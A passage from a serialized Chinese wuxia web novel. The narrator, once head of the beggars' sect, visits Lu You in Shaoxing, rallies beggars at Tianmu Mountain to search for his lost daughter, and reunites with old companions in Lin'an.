当年,我与陆游在绍兴初识,之后再度偶遇共赴少林。临安府中,我们曾一起到大理寺监牢解救圆通,又一同为了江湖了却残云经历的往昔岁月历历在目,只是那些年共同的经历里应该还有一个人。他如今换名作李罪,孤身崖州 余十三问我“陆游是谁?” 我想了许久,告诉他,说“是一个故人。” 绍兴二十年七月,我带着余十三赶到绍兴。 故地重游,我并没有一丝一毫的喜悦。当年,赵构一纸令下,改越州为绍兴,寓意他所统治的大宋江山即将中兴。 二十年过去。 或许人们的心里早已忘了越州,但他们却并没有看到中兴的希望。 “给老子站住!” 绍兴府宽阔的街道中,人潮涌动,熙熙攘攘。却在这吵嚷的人流里,我听到一声如雷声一般的怒吼。 我和余十三都被那声音所吸引了,转过头,看见一个衣衫褴褛的乞丐,蓬头垢面,满脸污垢。他正慌张地穿梭在拥挤的人群里,急匆匆地向我们跑来。 街道上的人群见他横冲直撞,毫无顾忌,纷纷避让开。那乞丐跑得越来越快,是不是地回头看一眼追赶他的几个凶神恶煞模样的壮汉,然后跑得更快了。 “臭叫花子,别跑!” 追赶地壮汉大声地吼着,手中提着短棍。我可以想象,如果他们抓住了那个乞丐,他们将会对他施以怎样的暴行。 然而,我并不想多管闲事。这些年我已经管了太多的闲事,没有一件的最后是能够让人称心如意的结局。 但是,你越不想找的麻烦,麻烦越会不被你所左右地向你扑来。人们把这种现象叫做命中注定。 命中注定的,那个乞丐避开了与他几乎可以擦肩而过的所有人,却偏偏一个踉跄扑倒在与他相隔甚远的我身上。 “帮主?!” 乞丐慌乱地站起来,本想接着跑,但就在他抬头看我的瞬间,眼神一滞, 露出了发狂般地喜悦。他抓住我的手臂,大声央求着“帮主,救救我,救救我!” 我突然想起来,曾经我还是丐帮的帮主。曾经我答应过白景行,要让这些可怜的人过上安定富裕的日子。 曾经,我们许下了多少诺言。只是那些无关自己的事情,在这一生中纷繁的经历里渐渐迷失,很快就找不见了踪迹。 “好你个臭要饭的!”一个满脸虬髯的壮汉提着短棍站在我面前,说,“吃了熊心豹子胆,竟然偷到老子头上了。” 那乞丐慌乱地躲到我身后,嘴上依旧喃喃地念着“帮主,救救我。” “臭小子,不要多管闲事!”短棍的棍稍指着我的鼻子,那满脸虬髯的汉子瞪着如牛眼一般大小的眼睛,冲我威胁道,“让开,不然老子的棍棒可不长眼睛。” 我告诉他“谁家的棍棒也不长眼睛,关键是人要长眼睛。” 我不过是向他描述了一个事实,一个不容辩驳的事实。然而,那个满脸虬髯的汉子却在事实面前彻底地愤怒了。他举起手中的短棍,冲我的脑袋狠狠地砸了下来。 我未动,因为我觉得那棍棒落下的速度不值得我过早地有所行动。 余十三却动了。他变得比以往更加迅猛有力,一只手死死地攥住了棍稍,任凭那汉子如何龇牙咧嘴地用力,都无法将短棍从余十三的手中挣脱。 另外几个汉子也冲了上来,他们纷纷撩起短棍,冲着我和余十三一起砸了下来。 就在短棍落下的刹那之间,我拉住余十三和那个乞丐向后一纵,几根短棍纷纷落空。 “好小子,有两下子!”满脸虬髯的汉子似乎有些兴奋,他耸了耸肩膀,活动着筋骨,似乎要与我大战一场。 我问余十三“你可以吗?” 余十三微微地点了点头,说“可以。”他伸手想去拿我手上的剑。但我却把剑藏到了身后。因为,我见过凶残如野兽般的余十三,我担心他会在这人潮涌动的绍兴府大街上再次被莫名地激怒,上演一场不可描述的残忍。 我走到身后的一个卖鞋的摊子旁,老板手里拿着一个掸子,正兴致勃勃地等待着一场难得一见的好戏。我说“我能不能用一下你的掸子。” 老板犹豫了片刻,给我要一两银子。我看着他手上的掸子,原本应该是密密实实的鸡毛脱落的就像是深秋的柏树,稀稀拉拉。 但我仍然给了他一两银子。趁人之危坐地起价的事在这世间虽不常见,却并不比掸子上的鸡毛少。更何况,这个掸子一旦参与了这场战斗,我并不能保证可以完璧归赵,但我需要它,我希望它可以 陪着余十三一起去体验一场难能可贵的实战。虽然他的对手看起来并不怎么像样。 我把掸子递到余十三手上,说“它就是你的剑。”我像一个老师父教育徒弟一样,对余十三意味深长地说“当年我打人,也是用木头。” 余十三接过“剑”,冲我点了点头。他刚一转身,我便听见“梆”的一声响,余十三结结实实地挨了闷头一棍。 “磨磨叽叽!”满脸虬髯地汉子骂道,“毛都没脱干净地臭小子。” 一道殷红的鲜血从余十三的发髻中间缓缓流下。余十三用手一抹,嘴角扬起,竟然露出一丝喜悦。就仿佛是蛰伏已久的野兽终于闻到了猎物的味道。 满脸虬髯的汉子盯着余十三似乎是有些不经意的笑容,脸上竟然露出几分畏惧。他脚下掂了两步,提着棍子冲了上去,对着余十三的脑袋又砸了下去。 还是原来的位置,还是相同的声音。 “梆!” 我感觉,余十三的脑袋就要被敲裂了。但是,余十三的脸上并没有痛苦,痛苦的却是那个满脸虬髯的汉子。 他眼中带着诧异,目光缓缓下移,直到落在自己的腹部,那诧异才陡然转为恐惧。 方才,就在那汉子一棍砸在余十三脑袋上的时候,余十三竟然在他冲上来的瞬间,借着那汉子向前的冲力,将一根细长的掸子送进了他的腹部。 “啊,啊……” 那汉子开始惊恐地大叫,叫声越来越大。余十三却带着心满意足的微笑,丝毫不见他为自己无端挨了两棍而恼火。 “别动!” 我牢牢地攥住余十三的手,阻止他将那根掸子抽出那汉子的腹部。 我说“不能拔出来!拔出来,他的血便会止不住了!” 余十三看着我,却给了我一个冷漠的答案。他说“这是我的剑!” (本章完) (教育123文学网) 第一百八十七章 孝子 1. 从那个时候起,我便已经有一种感觉余十三绝不是我能够驾驭的人。 但是,我又会想,一个人生而是自由的。我凭什么希望另一个人可以被我驾驭或者掌控呢? 那些追赶乞丐的汉子,彻底地被余十三出手的狠辣所震撼住了。 或许,他们也是第一次见到一个可以舍了自己安危也要致对手于死地的人。更可怕的是,这个对手还不是他的生死敌人。 满脸虬髯的汉子受伤颇重,但我看他似乎是还有得救,便指点他的同伴将他抬走了。 他们离开的时候,鲜血滴了一地。就像是灰褐色的地面上开出了许多艳丽的小花。 我看着买鞋的那个老板。他整张脸已经吓得失去了血色。他看见我在看他,便不自觉地向后退了两步。 我开始庆幸我花钱买下了那个掸子,因为它依旧插在那个满脸虬髯汉子的腹部,和他受伤的身体一起被抬走了。 我却又后悔买下了那个掸子。因为,我觉得,自己成了余十三伤害别人的帮凶。虽然,最初的我根本没有料到这样的结果。 那个乞丐似乎很开心。他跪在我的面前,满脸侥幸地笑,向我连连磕头。 我把他扶了起来,对他说:“救你的人不是我,是他。”我指了指余十三,但那个乞丐看余十三的眼神却很畏惧。 余十三也根本没有想要那个乞丐答谢的意思,他只是淡淡地说:“你欠我一条命。今后……记得还给我。” 我说:“那个人其实并没有想要他的命。” 余十三却说:“一个拿着棍子想要打人的人,什么结果都可能发生。他死与不死,并不掌握在自己手中。只要打他的人用力稍稍重一些,他虽时都有可能没命。” 我不在与余十三争论。我觉得这样的争论毫无意义。只要是没有真正发生的事情,一切都只能是推测。 我看着那个乞丐并不眼熟,但他若可以叫我帮主。这说明他并不是绍兴的乞丐。 我问那个乞丐:“你是不是从临安来的?” 乞丐点了点头,说:“是。” 我心里一阵愧疚。他依旧认我做他的帮主,可是自从我做了他们的帮主,却没有一天关心过他们的死活。甚至到后来,我几乎都要把它们忘了。 我曾经是一个失败的武林盟主。那个结果让我很忧伤。但直到现在我才发现,我还是一个失败的丐帮帮主。这样的结果,更让我觉得难以自持的怅然。 我问他:“丐帮的兄弟们怎么样?” 他还没有说话,眼泪却已经流了下来。他说,今时的天下已经不是当年的天下,如今四海升平,一片安定繁荣的景象。只是丐帮,依旧还是从前的丐帮。丐帮的兄弟们依旧还是过着四海漂泊乞讨的生活。 我问他:“为什么会来绍兴?” 他说:“数月前,朝廷搬下诏令,临安府是行宫所在,街头乞讨有伤风化,有损朝廷影响。因而,临安上下,凡当街乞讨者丈二十,施舍者丈三十。” 我不解,问:“为什么给饭的比要饭的打得还多?”那时候,我以为是这个乞丐记错了。但是,他却给了我一个无法反驳的答案。 他说:“没有施舍就没有乞讨。没有买卖就没有杀害。” 2. 我告诉那个乞丐:“你设法去通知丐帮里其他的兄弟,让他们在十日之后在临安府外的天目山下等我。” 那个乞丐目中忽然流露出光彩,他兴高采烈地答应了我,几乎是蹦跳着走了。 我突然想起自己还不知道他的名字,便喊住了他,问:“你叫什么?” 他停下步子,十分郑重地向我作揖,说:“我叫明少忠。” 乞丐走了。 余十三问我:“你要回去做丐帮帮主?” 我摇了摇头。其实,我并不想做丐帮帮主。丐帮的人遍布天下,他们的消息也最为灵通。我将他们聚集起来,只不过想利用他们帮我寻找纾瑶罢了。 我知道,作为帮主,如此行径着实令人不耻。但我认为,作为父亲,我的做法并没有什么不妥。 余十三的步子很疾。我告诉他,要慢一点走。 余十三却不肯,他说:“路很长,有的快一些,我便可以早一点见到我妹妹。” 路的确很长,但即使他走得再快,健步如飞,他却也不知道终点到底在哪里。 我们到达陆府的时候,正值晌午。陆府并不算太高的院墙里飘出一道淡淡的饭香。 我和余十三都饿了。便来不及赶到正门通报,找了一个饭香味最为浓郁的地方,翻墙进了陆府。 一落地,我们看到的并非是美味的饭菜。而是一个瞪着惊悚的眼睛,盯着我和余十三的老太太。 她丝毫不给我辩解的机会,“嗷”地一声叫了起来,大声喊道:“快来人啊,有贼!” 很快,手持刀枪棍棒的家丁从四面八方向我们涌来。一个管家模样的干瘦老头,躲在一群身材壮硕的家丁后面,向我发出质问:“什么人如此大胆,竟敢在光天化日之下擅闯陆府?” 我说:“我是来找陆游的。” “住嘴!”那个原本还满目惊恐的老太太,看着自己身后的人越来越多,陡然之间有了底气,她指着我喝道,“游儿怎会认得你这样毫无礼教之徒……” 她话说到最后,声音越来越小,好像那因人多势众而提升的底气,又因为什么落了下去。她盯着我,上下打量了一番,忽然面露愠色,道:“原来是你!五年前你便从这里翻墙而入,被老身撞了正着。没想到,五年都过去了,你竟然还不走正道。” 我一直都是正道中人。但陆母的一番话,却让我羞愧不已。我知道翻人家的墙不对,但肚子饿了,却又没有更快解决的办法。 好在。这个时候,陆游出现了。 他从东墙边的茅厕里匆匆走出来的时候,手上依旧还在紧着略有些松弛的腰封。 他剥开拥挤的人群与我相见。我俩四目相视的瞬间,都是一晃而过的凝滞,随即便是重逢的喜悦。 “姬兄!” “陆兄!” 多年未见的故友,如同是鹊桥间相会的牛郎织女,在众目睽睽之下,四只手紧紧相握。 没有七夕纷纷而落的泪雨。只有一切尽在不言中的喜悦。 陆母并不喜悦。她重重地咳了一声,算是给他有失仪态的儿子一点警示。 陆游收到警示,慌忙松开我的手,对着母亲恭敬地作揖,道:“母亲大人莫怪,这位是我的……” “我自是知道。”陆 母没好气地说,“五年前他就是这样,没想到五年过去了,一点长进都没有。” 陆游看起来很尴尬。他的两鬓已染霜白,但在他母亲面前,他依旧还像个逃脱不开母亲责备的孩子。他低声地回应:“让母亲大人受惊了。” 五年了。陆母的身子看上去也比当年老迈了许多。 所有人都会变老,只是你经年累月的衰老突然间展现在你面前的时候,你才能深刻地感受到,老去,是一件多么可怕的事情。 因为,它可以让一个可怕的人,变得不再那么可怕。 陆母并没有像当年那样不依不饶地絮叨一番。而且一声不吭地扭头,穿过围在一起的家丁,在婢女的搀扶下,消失在这院子的拐角。 3. 陆母走后。陆游带着我进了他的书房。 他的书房里的陈设,依旧还是我和李小谦当年来过时的模样。只是那些桌椅上褪色的漆红,向我显示着岁月。 陆游盯着余十三看了一会儿,问:“这位是……” 我说:“他叫余十三。是我的……徒弟。” 对。是徒弟。我虽然不愿意让他叫我师父,但我喜欢称他是我的徒弟。因为,这会让我觉得自己的衣钵有所传承,觉得自己得等次又有了新的提升。 余十三没有拒绝。他依旧是平淡如水的模样,波澜不惊,让人猜测不透他在想着什么。 陆游微微一笑,说:“你竟然都收了徒弟了。”他转身为我们斟满茶水,又问:“月儿师妹呢?她为何没有与你一同来?” 重逢的喜悦被一句话冲淡了。 我的心情再次恢复了沉重,我说:“小月已经死了。” 陆游的手猛然抖了一下,滚烫的茶水淋到他的手上,他竟好似浑然未觉。 “怎,怎么会这样?”陆游问,“发生了什么?” 我忍着心里的伤痛,将这段时间里经历的事又向陆游说了一遍。最后,我说:“我这次来找你,是希望你可以帮我找我的女儿。” 我一扭头,看见了正在盯着我的余十三。我补充道:“还有他的妹妹,余青儿。” 陆游沉默了。 我感觉他似乎要拒绝我。但我又觉得,他应当没有理由拒绝我。 他一向是侠义的性格。当年,他违背原则也与我们一同去大理寺劫狱,那时我便知道,他是一个为了朋友可以牺牲自己的人。 但是,这次,陆游却长长地叹了一口气。他说:“并非我不愿,只是……姬兄你来的不是时候。” 我诧异,问:“为什么不是时候?” 陆游说:“科考临近,我已十年未中。如今,家母日趋老迈,身体一年不如一年。今年,我不想再令她失望。” 我懂了。 我没有再多说什么。陆府的丫鬟敲门进来,送来了各种丰盛的饭菜。但它们在我眼中已索然无味了。 原来,人心都是会变的。当年的陆游,不屑于朝野而心中只有江湖,那时候的他是个侠士,为了朋友,他没有什么不可以付出。 可是,人心又不会变。那时的陆游是个孝子。他遵从母命,即使不愿却也依旧在不停地进考,他放弃了自我,甚至放弃了唐婉。如今,他放弃了我,或许并不是他变了,只是因为,他还是那个孝子。 第一百八十八章 天目 1. 离开陆府的时候,陆游出门相送,直到出了绍兴府十里,他依旧不肯回去。 我对他说:“留步吧。” 陆游对我说:“姬兄,此次不能帮你,我犹感歉疚,只是希望你能体恤在下的苦衷。”他真的歉疚,从他的表情中我可以看得出来,他的内心之中其实有所挣扎。 我不愿强人所难,尤其是过往的朋友。以情谊绑架别人的话,我说不出口。 我对着陆游淡然一笑,对他说:“没有什么可歉疚的。等我找到了女儿,我会托人带书信给你。” 那一天,风很轻,吹得人脸上很舒服。我犹记得陆游曾站在绍兴府外的矮坡上送我离开的场景。也便是那一刻,我才真正体会到人生的无奈。 2. 在陆游送我离开的那短暂而又有些漫长的路上。我二人曾有一段短暂的谈话。 我问陆游:“为何不见唐婉?” 陆游眼中伤意尤甚。他告诉我,四年前,便是我和小月离开江湖的那年。他在母亲的逼迫下,一封休书,将唐婉送出了陆家。 我问他,为什么? 陆游摇头苦笑,说,因为缘分尽了罢。 我没有再多问,他也没有再多说。我知道,他内心中其实很痛苦。我和李小谦曾亲眼见证过他们之间的感情,只是人生际遇并不是试试都有所等待。陆游和唐婉分开的时候,我并不在他们身边。 我想起李小谦曾夜访唐婉时说过的话。他曾异常坚定地对唐婉说,你们不会有好结果的。 那时,我以为是李小谦得不到时发下的诅咒。 由此看来,这并不是诅咒。或许是陆游与唐婉之间这段凄婉的爱情真的载入了史册,而九百年后的李小谦又恰恰知道这段故事。 我忽然有些同情李小谦。若看似放到不羁的李小谦曾真的对唐婉情根深种,若李小谦的确知道所有的一切。那么,眼睁睁看着自己心爱的人一步步走向不得善果的结局而又无能为力的无奈,是多无令人憔悴。 所以,我也能够理解他了。他知道所有人的结局,却偏偏不知道自己的结局。 但现在他知道了。 因为,他变成了李罪,变成了自己的祖宗。二十年后,他将是这个大宋江山里,最为富庶的人。 告别陆游之后,我心中五味杂陈,思绪异常混乱。 余十三问我:“接下来,我们要去哪里?” 这个问题,曾经有无数人问过我无数次,我都感觉异常难以回答。但这次,我有一个十分明确的答案。 这一个看似不起眼的答案,却驱使我走向了那个结局。 我说:“天目山。” 3. 临安府外,天目山。 四年前,江湖五大门派曾在此聚集。 他们以管天下之事为契机,逼迫朝廷妥协。皇上下旨,武学之道乃祖宗故事,不可荒废,故而复建武学,一如旧制。由此,江湖换来了四年间没有束缚的自由。 这次,我不知道我为什么还会选择天目山。 当时,这三个字不过是脱口而出。但就是因为脱口而出的三个字,导致了天目山下人满为患。 我和徐十三到达天目山的时候,天目山下已浩浩荡荡地聚集了数千之众。他们衣衫褴褛,蓬头垢面,都是乞丐。 一群乞丐之中,不知是谁喊了一声:“帮主来了。” 然后,我便听到了一片如风声一般的齐呼:“参见帮主。”而后,跪倒一片。 被一个人跪拜,你或许会觉得没什么。但被一群人跪拜......我想,没有多少人可以抵御这种如山一般的气势所带来的心潮澎湃。 我吓了一跳。 即便是做武林盟主的时候,也没有这么多人向我跪拜过。 余十三也颇为惊讶。 他或许也不会想到,一个与他朝夕相处了这么长时间的人,竟然会突然间接受这么多人的顶礼膜拜。而且,还是一群乞丐。 我轻轻地说了声:“你们快起来。” 最前面的人听见了,晃着身子站起来。后面的人看见前面的人站了起来,几乎是在同时,哗啦一声站了起来,其中还夹杂着如释重负的长吁。 正在我有些不知所措的时候,乞丐群里传出一道略有些熟悉的人影。他挤出人群,一抬头,对我报以灿然地笑。 这人正是前些日子在绍兴府中被我和余十三救下的明少忠。 我问他:“怎么来了这么多人?” 明少忠说:“帮主让我传令,我便传给了绍兴的兄弟,兄弟们不断向外扩散消息,一传十,十传百,江浙一带的兄弟们都来了。还有几个兄弟是问讯从闽赣一带赶过来了。兄弟们听了帮主的消息,都是激情澎湃啊。” 我说:“你都跟他们说什么?” 明少忠说:“我就说,帮主回来了,要带领丐帮的兄弟们过好日子。” “你!”我气得七窍生烟,这个看似忠诚厚道的明少忠竟然敢假传“圣旨”,妄断我的意图,而且还要帮我传播。 明少忠有些紧张,轻声问我:“帮主......小的说错了吗?” 他没有说错。带他们过好日子,本来就是当年我答应过白景行的事,是我没有做到。如今,我的确是应该实现我当年承诺了。 只是,我和他们相遇的不是时候。 我必须要利用他们一次,利用他们去帮我打探纾瑶和余青儿的消息。 我从怀里掏出两幅画像。这画像是我和余十三走出绍兴之后,找了一个画师所画。他开价百两,自称妙笔传神。 起初我将信将疑。但当那个画师根据我和余十三的描述,将纾瑶和余青儿音容落于纸上时,我才深深地被他不菲的画功所折服。 他画的惟妙惟肖,堪比真人。我和余十三摸着各自亲人的画像,皆是忍不住泪眼婆娑。一抬手,满手油墨。 无奈,我只能再花一百两,让那个画师又做了一副。 …… 我把纾瑶和余青儿的画像递到明少忠手中,说:“你让他们帮我去打探这两个人的消息。” 然后,我看到明少忠略 有些诧异和失落的眼神。我补充道:“凡是可以向我提供线索的,赏银五百两。” 五百两。 这三个字一出口,一大群人便为了上来,他们争先恐后地抢夺明少忠手中的画像。明少忠将画像好好举起,大声叫道:“别抢,别抢,当心弄坏了!” 然而,这样的话依旧没有办法阻止如浪潮般接连涌来的乞丐。 最后,明少忠将身边的人推开,把纾瑶和余青儿的画像挂到了树上,让众人一一观看。 许多人经过画像的时候,都会忍不住问上一句:“这是谁啊,竟然值五百两银子。朝廷的钦犯也不过一百两。” 明少忠不厌其烦地解释:“是帮主要找的人。你们尽管去找,不要多问。” 最后,热闹的天目山重归宁静。我在一片虫鸣中,望着垂落的夕阳。 很快!我想,一个黑夜过去之后,应当就是带着希望的霞光。 4. 绍兴二十年七月庚午,天空阴云密布,遮天蔽日,似乎有暴雨将至。 天目山之后的第二天早上,朝阳并未如期而至。 我和余十三在天目山上避了一晚。这夜,我一连向余十三弹出六十几枚石子,他都一一挡下。 他的进步的确很快。 从我第一次用弹石子的方法教他练剑到现在,也不过是半个月的时间。半个月里,余十三的反应愈发敏锐,他挥出的剑沉着有力,稳迅兼备。比起当年的我,他不知要强出去多少倍。 有一次,我和余十三路过一片树林。他说,他听见了远处枝叶折断的声音。 我说,我没有听到。我本以为他是产出了什么幻觉,但当我刚要说出口的时候,百米之外的高树上,落下一段臂膀长的树枝。那时,我便赶紧,余十三一定会超过我。或许,在某些方面,他已经超过了我,只是我们都浑然不觉。 眼看就要下雨。余十三的剑却更加凌厉。 “轰隆”一声。如墨般黑的乌云中划过一道亮白。我感觉余十三的剑,就像那道亮白一样划过。青光一闪,他身旁的树上,挂上了一道深深的伤痕。 余十三怔怔地看着,脸上忽然扬起一丝笑意。他说:“我是不是可以学习那十一式剑招了?” 我说:“不可以。” 余十三说:“为什么一定要接住一百一十三颗石子?难道就不能少一些吗?” 我问他:“是不是怕辛苦了?” 余十三漠然地说:“不是。我只是怕你手疼。” 我的手指的确很疼。我感觉,再这样练下去,他武功成就之日,或许就是我手指残废之时。我扔掉了手中剩余的几颗石子,站起身来,望着不远处乌云笼罩下磅礴的临安城,心中感慨万千。 临安。 我又回到了这个地方。 四年了,这座城不知曾多少次入我梦中。它带给我很多痛苦的记忆。只是,那些记忆里,仍然由那么一个人,那么一个女人,会如明媚的阳光一般,透过浓浓的云翳照在我身上。 我想,是时候去看看她了。 第一百八十九章 回归 临安府,娄琴客栈。 时隔四年,当我再次出现在娄琴面前的时候,她竟然有些恍惚。 我笑着叫了一声“娄姐”,她仍旧有些不敢置信,用一种怀疑的眼神凝视着我。 四年过去了。但时光仿佛是在她的身上静止了一般,一个三十多岁的女人,我却看不出任何岁月留下的痕迹。 果然,岁月的残忍也是有所选择的。在娄琴这样美丽的女人脸上,即便是残忍的岁月也不忍心动手。 娄琴看着我,嘴角忽然扬起一丝浅淡的笑意。我正思索那笑意所隐藏的含义,却听见一声龙吟般的铮响。 眼前瞬息闪过一道亮白。 亮光一闪而过,我看清那是一把锋利至极的宝剑时,娄琴的剑已如蛇舞一般地向我刺来。 千钧一发。我纵身向后,青光剑夺鞘而出。青光白光在空中发出金属撞击的清脆响声,在这明亮的白日里迸发出刺眼的火花。 娄琴纵身跃起,白色的宝剑在她手上发出“嗖嗖”的声响,犹如是翻动了疾风暴雨一样,带着吞天沃日的气势向我卷来。 气势虽弘,但我却感觉不到一丝一毫的杀气。 娄琴出手多半只是为了试验我的武功。我心中明悉,出手自然不能用力。青光如水中潋滟的波纹,柔和地抵挡着。但娄琴的剑却如狂风卷起风沙,进攻的势头愈发猛烈。 转眼已是十招。我若有似无地抵挡着,娄琴却丝毫没有停止的意思。 突然间,娄琴剑气如虹,一道白光从七米之外一闪而来。我横剑抵挡,却在撞击的瞬间,一股暗力穿过剑身,击在我胸口。 虽然不至于令我受伤,但那股力道着实强劲,让我异常难受。娄琴却收起了剑,对我说:“如果我是你的敌人,此刻你已经死了。” 我说:“可是你不是我的敌人。” 娄琴说:“世事难料。即便是再熟悉的人,也有可能是你的敌人。” 她的话让我想起了李小谦。诚如她所说的那样,这世间,最难以看透的是人心。是敌是友,并不能凭着你熟悉与否来判断。 但娄琴的确不是我的敌人。她缓步向我走来,她的手触到我的胳膊,微微一笑,说:“真的是你回来了。” 我说:“是我。我回来了。” “嗯。”娄琴眼中有泪,说,“回来好。回来好。” 她看了我许久,忽然之间好像是发现了什么,略带疑惑地问:“怎么只有你自己?小月呢?” 又是这样一个问题。我不想回答,却又不得不回答的问题。 娄琴听我说完小月的事,她长长地叹了一口气说:“这便是命吧。” 她目光落到我身边,问:“这少年是……” 我说:“他叫余十三。当日我在括苍山上跳下去之后,是他救了我。” 娄琴对着余十三善意地笑了笑。余十三却面无表情地回应了一个点头。 客栈里的陈设,就像是娄琴的脸一样,毫无变化,即便是经历了四年,也不见有老旧的痕迹。 娄琴喊来伙计,让他端上来了几样酒菜,说:“时间仓促,没什么可准备的,现简单吃一些。到晚上,我再亲自下厨为你做些好吃的。” 空气忽然安静了。我只听到余十三口中清脆的咀嚼声,没有人说话,似乎是没有人想要打破这份宁静。 但,这宁静终究要打破的。 我问娄琴:“你还好吗?” 娄琴笑了笑,说:“我很好。” 我问:“赵构呢?” 娄琴一怔,或许她不会想到我会直呼其名,毕竟那是高高在上的皇上。但她并没有驳斥我对他的称呼,只是淡淡地对我说:“他......应当也很好吧。” 应当? 我问:“你们分开了吗?” 娄琴转过身去,我看不到她的表情,只听见她声音极轻地说了一句:“不是分开。应当是永别了。” 我一拍桌板,叫道:“赵构死了?!” “何人如此大胆,竟敢公然咒骂当今圣上。” 话音刚落,门外传来一声厉喝。我循声看去,只见一个魁梧的汉子不知何时已屹立在门框之内。刺目的阳光在他壮硕的身躯边缘镀上了一层耀眼的光边儿,我看不清他的模样,但我已经感受到他是我熟悉的人。 因为他的背上斜一柄刀,只刀柄便有两尺之长。 “柳无风?”娄琴疑惑地问,“你怎么来了?” 柳无风没有回答娄琴的询问,他的眼神如刀一般地犀利,直勾勾地盯着我,说:“你怎么回来了?” 我说:“找人。” 柳无风问:“找什么人?” 我说:“我的女儿。” 柳无风又问:“你女儿是什么人?” 这是一个没有意义而又十分难以回答的问题。这个问题令我感到迷惑,因为我不知道柳无风为何会有此一问。但很快,我便发觉,这是柳无风故意为之。 柳无风侧身绕过门口的栅板,坐在我身旁,毫不客气地拿起了我的筷子,吃着碟子里的残羹剩饭,竟然也是一副津津有味的模样。 “天目山的那些乞丐,是你聚拢去的?”柳无风淡淡地问。 我说:“是。有什么问题吗?” 柳无风说:“当然有问题。天目山是什么样的地方难道你不知道吗?四年前那里曾发生过什么,难道你也不记得了吗?” 四年前,五大门派齐聚天目山,一齐向朝廷发难。那时,我虽不在天目山上,但当时的场面尤为壮阔,这些年里,我也不少耳闻。 “这跟我有什么关系吗?”我问。 柳无风冷哼一声。他嘴里咀嚼着白饭,一哼之气,竟将几粒白米从鼻孔里喷了出来。我深觉恶心,更为碟子里的剩余的饭菜感到惋惜。 然而,柳无风并没有在意 ,他大手在鼻子下用力一抿,冷冷地说:“曾经发生过一些事情的地方,再发生类似的事情,定然会引起朝廷的警觉。” 我并不明白柳无风要说什么,只是怔怔地看着他,等待着他接下来的叙述。柳无风又哼了一声,这次并没有像方才一样喷出什么污秽的东西。 柳无风说:“你聚拢千余名乞丐在天目山聚会,皇上昨夜接到讯息,命我亲自前去探访。老子一清早飞奔而去,却什么都没有发现。探查了一路,循着踪迹找到这里,没想到这一切的始作俑者竟然是你!” 我说:“没有发现岂不是很好。这便说明,我们什么事情也没有做。” “一点都不好!”柳无风重重地说道,“如今江湖是人心浮动,鸡鸣狗盗之徒层出不穷,皇上心中不安,临安府维稳压力日趋增大。我工作本就繁忙,却还要因为你白白奔波,耗费精力。我很不高兴。” 柳无风说得异常严肃,似乎他是希望用表情同时向我传达他心中的不满。我了解柳无风的为人,他实则是一个嘴硬心软的人。我轻轻拍了拍他肩膀,说:“许久不见,你还是老样子。” 话音未落,忽然从柳无风肩胛处迸出一道暗力,汹涌刚猛,将我的手掌瞬时弹开。我很不服气,认为这是柳无风有意在众人面前逞威风,聚内力于掌心,抡起胳膊拍了回去。 “啪!” 柳无风反应很快。在我手掌落下之时,他身子一转,以一招游龙出水的掌法,自下而上与我对击。 两掌相持不下。我用力过半,柳无风已满脸通红,额头冒汗。 然而,柳无风是个骄傲的人,他绝不允许自己在我手上一败涂地。所以,他伸出了另外一只手,快如闪电般地袭向我的侧肋。 我心中一急,本想还手与他对击。但却发现柳无风的手松垮无力,不簇任何力道,只是伸到我侧肋处,轻轻地挠了挠。 “哈哈哈......” 一股不堪忍受的痒从侧肋传遍全身,刹那间,我凝聚于掌心的内力涣然消散,整个人被柳无风大力弹了出去。 柳无风面不改色,拿起筷子,继续吃着白饭。但我发现,他两鬓边几颗晶莹的汗珠悄然滚落,呼吸也变得有些急促了。 看到这番情景的余十三,看着我,目光中充满了不屑,他说:“我以为你武功很强。” 我说:“我武功本就很强。” 余十三不以为然,他说:“可你刚刚败给了这个人。” 我看着余十三,微微一笑,摆起身为人师的架势,对他谆谆教导:“失败并不可耻。曾经有一个人告诉我,失败是成功的母亲。” 柳无风一掌拍在桌上,残羹剩饭被他掌力震飞,在空中盘旋而后落下。他满脸青紫,眉头紧皱,冷冷地说:“难道还要我叫你一声娘吗?!” (致歉:最近因年底工作繁忙断更,深表歉意,如今工作已恢复正常秩序,恢复正常更新。) 第一百九十章 决定 ()1. 依柳无风的性格,他绝不可能叫我一声娘。 即便是他真的叫了,我也不会答应。 但愤怒的柳无风却说了一句让我不得不向他服软的话,他说:“你欠我的钱,什么时候还?” 我这才想起来,当年他为了帮我救出小月,自掏腰包贿赂了看守人五百两银子。他曾对我说过,这笔钱日后要还。 其实,还钱很容易。不过是五百两银子而已。当日我从蛇头山下来,带走了许多金银珠宝,足够还给柳无风几十次。 然而,这却不是我还给他一笔银子那么简单。因为,这里面,还有一份他当年冒险帮我的恩情。 我违心地说了一句,我输了。但柳无风的脸上并没有表现出满意或者喜悦,他依旧平淡如水,不起波澜。又吃了一会儿残羹剩饭,或许他是觉得饱了,又或许是碟子里的残渣不足以满足他的胃口。他熟练地将筷子掰成两截,用毛刺剔着牙,问:“你家婆娘呢?” 我知道,自己迟早要面临柳无风的如此一问。但又无法阻止,只好强忍着悲伤,又向柳无风说了一遍。 当一个人面临不愿面对的悲伤时,往往会将自己封闭起来。我越来越理解那些人的选择,因为我正在忍受着伤疤被人一次又一次揭开的痛苦。 柳无风难得叹了口气,这让我莫名有了些感激。他说:“所以,你这次出来只是为了找你的女儿?” 我说:“是的。” 柳无风说:“茫茫人海,何处寻觅?” 我没有回答,因为我不知道答案。柳无风看了我许久,说:“丐帮的人是一个不错的选择。” “什么?”我不慎明白。 柳无风说:“你利用丐帮的人帮你找女儿,这是一个不错的选择。但却也有很大的风险。” 我问:“会有什么风险。” 柳无风说:“很快,皇上就会知道你回来的消息。而在他的眼中,你会变成无疑的丐帮帮主,手下数千弟子,会成为朝廷所忌惮的新的江湖势力。” 我沉默了。我的确没有考虑过这样的事情。但我依旧心存侥幸:“丐帮的人虽多,却不比其他门派。他们只不过是一群受人欺凌的乞丐,又不懂武功。” “人多,本就是一种威胁。”柳无风淡淡地说。 “那你就回去告诉他。”娄琴忽然说道,“从今日起,我也是丐帮的人了。” 柳无风斜了娄琴一眼,无动于衷。他说:“你觉得皇上会相信吗?” 如此这般,都是不行。我忍无可忍,吼道:“那叫我怎么办?难道放着自己的女儿不去找吗?” 柳无风死死地盯着说,说:“跟我回去。” 回去? 我问:“去哪里?” 柳无风说:“去见皇上。” 赵构的身影又一次出现在我的脑海,四年前勤政殿的场景历历在目。那份 凶险,让我胆怯。 娄琴扶住我胳膊,说:“你不能回去。当年你忤逆于他,他恨你入骨。你去见他,他一定不会放了你。” “不会。”柳无风说,“皇上一定不会难为你。” “为什么?”我不解。 